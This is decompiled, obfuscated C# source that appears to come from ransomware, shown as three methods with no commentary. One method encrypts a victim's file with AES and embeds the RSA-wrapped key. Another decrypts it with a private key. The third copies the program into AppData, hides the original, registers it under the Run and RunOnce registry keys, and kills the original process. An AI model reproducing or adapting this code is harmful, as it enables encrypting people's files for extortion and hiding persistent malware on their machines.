public void method_18(string string_7) { string text = Delegate124.smethod_0(Class3.smethod_0 <string>(1039446687u, 331866531155298722uL), this.string_3); string text2 = Delegate124.smethod_0(text, "\\Keys"); Delegate124.smethod_0(text, "\\Files"); string text3 = Delegate124.smethod_0(string_7, ".tmp"); Delegate24.smethod_0(); Delegate189.smethod_0(true); RSACryptoServiceProvider object_ = Delegate33.smethod_0(); string text4 = (string)Delegate169.smethod_0(text2, "Private", "No Private Key was found!"); if (Delegate98.smethod_0(text4, "")) { Delegate164.smethod_0(object_, text4); byte[] byte_ = new byte[344]; FileStream object_2 = Delegate35.smethod_0(string_7, FileMode.Open, FileAccess.Read); Delegate187.smethod_0(object_2, -344L, SeekOrigin.End); Delegate190.smethod_0(object_2, byte_, 0, 344); string text5 = Delegate191.smethod_0(Delegate166.smethod_0(), byte_); byte[] byte_2 = Delegate146.smethod_0(text5); byte[] array = Delegate168.smethod_1(object_, byte_2, false); Delegate153.smethod_1(array); Delegate162.smethod_0(object_2); FileStream object_3 = Delegate35.smethod_0(string_7, FileMode.Open, FileAccess.ReadWrite); Delegate193.smethod_0(object_3, Delegate192.smethod_0(object_3) - 344L); Delegate162.smethod_0(object_3); using (FileStream fileStream = Delegate32.smethod_0(text3, FileMode.Create)) { using (AesManaged aesManaged = Delegate36.smethod_0()) { using (CryptoStream cryptoStream = Delegate26.smethod_0(fileStream, Delegate149.smethod_1(aesManaged, array, array), CryptoStreamMode.Write)) { using (FileStream fileStream2 = Delegate32.smethod_0(string_7, FileMode.Open)) { Delegate183.smethod_0(aesManaged, 256); Delegate183.smethod_1(aesManaged, 128); int num; while ((num = Delegate185.smethod_0(fileStream2)) != -1) { Delegate184.smethod_0(cryptoStream, (byte)num); } } } } } Delegate100.smethod_1(string_7); Delegate130.smethod_1(text3, string_7); } }
public void method_1() { this.method_7(); string text = Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData); string string_ = Delegate123.smethod_0(Delegate122.smethod_0(Delegate121.smethod_0())); string text2 = Delegate123.smethod_1(Delegate122.smethod_0(Delegate121.smethod_0())); string text3 = Delegate124.smethod_0("/F /IM ", text2); string object_ = Delegate125.smethod_0(text, "\\", this.string_3, ".exe"); this.registryKey_0 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Files")); this.registryKey_1 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Keys")); if (this.registryKey_1 == null) { Delegate127.smethod_0(Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"), "", "", RegistryValueKind.String); } if (this.registryKey_0 == null) { Delegate127.smethod_0(Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Files"), "", "", RegistryValueKind.String); } Delegate127.smethod_0("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", this.string_3, object_, RegistryValueKind.String); Delegate127.smethod_0("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Delegate124.smethod_0("*", this.string_3), object_, RegistryValueKind.String); Delegate128.smethod_0(string_, FileAttributes.Hidden); if (Delegate129.smethod_0(text) && !Delegate129.smethod_1(object_)) { Delegate104.smethod_0(10000); try { Delegate130.smethod_0(string_, object_); ProcessStartInfo processStartInfo = Delegate21.smethod_0(); Delegate131.smethod_0(processStartInfo, object_); ProcessStartInfo processStartInfo2 = Delegate21.smethod_0(); Delegate132.smethod_0(processStartInfo2, false); Delegate132.smethod_1(processStartInfo2, true); Delegate131.smethod_0(processStartInfo2, "taskkill"); Delegate131.smethod_1(processStartInfo2, text3); Delegate133.smethod_0(processStartInfo); GClass0.MoveFileEx(string_, null, 4); Delegate133.smethod_0(processStartInfo2); } catch (Exception) { } } }
public void method_17(string string_7) { string text = Delegate124.smethod_0(Class5.smethod_0 <string>(99835095u, 15038730591190274483uL), this.string_3); string text2 = Delegate124.smethod_0(text, "\\Keys"); string text3 = Delegate124.smethod_0(text, "\\Files"); string text4 = Delegate124.smethod_0(string_7, ".tmp"); AesCryptoServiceProvider object_ = Delegate24.smethod_0(); RSACryptoServiceProvider object_2 = Delegate33.smethod_0(); string text5 = (string)Delegate169.smethod_0(text2, "Public", "No Public Key was found!"); if (Delegate98.smethod_0(text5, "")) { Delegate164.smethod_0(object_2, text5); byte[] byte_ = Delegate168.smethod_0(object_2, Delegate148.smethod_0(object_), false); string object_3 = Delegate153.smethod_1(byte_); using (FileStream fileStream = Delegate32.smethod_0(text4, FileMode.Create)) { using (AesCryptoServiceProvider aesCryptoServiceProvider = Delegate24.smethod_0()) { using (CryptoStream cryptoStream = Delegate26.smethod_0(fileStream, Delegate149.smethod_0(aesCryptoServiceProvider, Delegate148.smethod_0(object_), Delegate148.smethod_0(object_)), CryptoStreamMode.Write)) { using (FileStream fileStream2 = Delegate32.smethod_0(string_7, FileMode.Open)) { Delegate183.smethod_0(aesCryptoServiceProvider, 256); Delegate183.smethod_1(aesCryptoServiceProvider, 128); int num; while ((num = Delegate185.smethod_0(fileStream2)) != -1) { Delegate184.smethod_0(cryptoStream, (byte)num); } } } } } StreamWriter object_4 = Delegate34.smethod_0(text4, true); Delegate187.smethod_0(Delegate186.smethod_0(object_4), 0L, SeekOrigin.End); Delegate150.smethod_0(object_4, object_3); Delegate188.smethod_0(object_4); Delegate127.smethod_0(text3, string_7, Delegate96.smethod_0(object_3), RegistryValueKind.DWord); Delegate100.smethod_1(string_7); Delegate130.smethod_1(text4, string_7); } }